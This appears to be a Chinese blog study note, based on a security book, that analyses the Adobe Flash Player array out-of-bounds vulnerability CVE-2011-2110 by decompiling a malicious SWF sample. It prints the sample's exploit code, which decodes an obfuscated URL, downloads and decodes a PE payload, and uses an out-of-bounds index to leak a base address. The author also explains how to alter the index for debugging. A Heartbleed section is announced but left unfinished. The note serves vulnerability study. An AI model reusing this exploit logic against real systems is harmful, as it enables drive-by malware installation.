数组越界漏洞(参考<<漏洞战争>>)

1.简介

通过访问,写入到超出最大索引的地方导致被利用

2.CVE-2011-2110-Adobe Flash Player 数组越界索引漏洞

(1).将swf文件反编译后提取出来分析

(2)分析源文件

main函数中:

var param:Object = root.loaderInfo.parameters;
//获取并解析参数
var t_url:ByteArray = this.hexToBin(param["info"]);
i = 0;
i = 0;
while(i < t_url.length)
{
t_url[i] = t_url[i] ^ 122;
i++;
}
t_url.uncompress();

......

//下载文件
loader = new URLLoader();
loader.dataFormat = URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onLoadComplete);
loader.load(new URLRequest(t_url.toString()));

.......

onLoadComplete = function(param1:Event):void
{
content = loader.data;
i = 0;
//解析获取到的数据,完了后是个恶意程序
while(i < content.length)
{
content[i] = content[i] ^ 122;
i++;
}
content.uncompress();
content_len = content.length;
var _loc2_:ByteArray = new ByteArray();
code = _loc2_;
_loc2_.position = 1024 * 1024;
_loc2_.writeInt(2053274210);
_loc2_.writeInt(2053339747);
_loc2_.writeInt(2053405283);
_loc2_.writeObject(_loc2_);
//触发漏洞
test();
trace(_loc2_.length);
};

以上通过获取参数info, 解码后其实就是一个url. 然后通过该url下载一个文件,将文件中的内容解码后是个pe文件. 可以通过自己搭建环境测试

 (3)通过修改样本代码定位漏洞

对于浏览器漏洞,可以通过修改样本代码使其本来是稳定利用变的不稳定,以便分析

对于swf文件,可以反编译后修改关键值使ie加载后能发生异常并重新编译成swf文件, 以便分析

例如,本次实验的代码:

var _loc8_:uint = 0;
var _loc2_:Number = new Number(parseFloat(String(rest[1073741838]))); //1073741838=0x4000000E,进行越界索引, 将其修改为其他值直到能发生异常,书上修改的是0x41414141
var _loc3_:ByteArray = new ByteArray();
_loc3_.position = 0;
_loc3_.writeDouble(_loc2_);
var _loc4_:uint = _loc3_[0] * 16777216 + _loc3_[1] * 65536 + _loc3_[2] * 256 + _loc3_[3];//信息泄露构成基址地址
this.baseaddr = _loc4_;
this.code.position = 0;

这样再附加后就能很方便地分析了.

CVE-2014-0160-OpenSSL TLS 数组越界访问漏洞(“心脏出血”漏洞)

未完待续...............

原文地址:https://www.cnblogs.com/freesec/p/6444537.html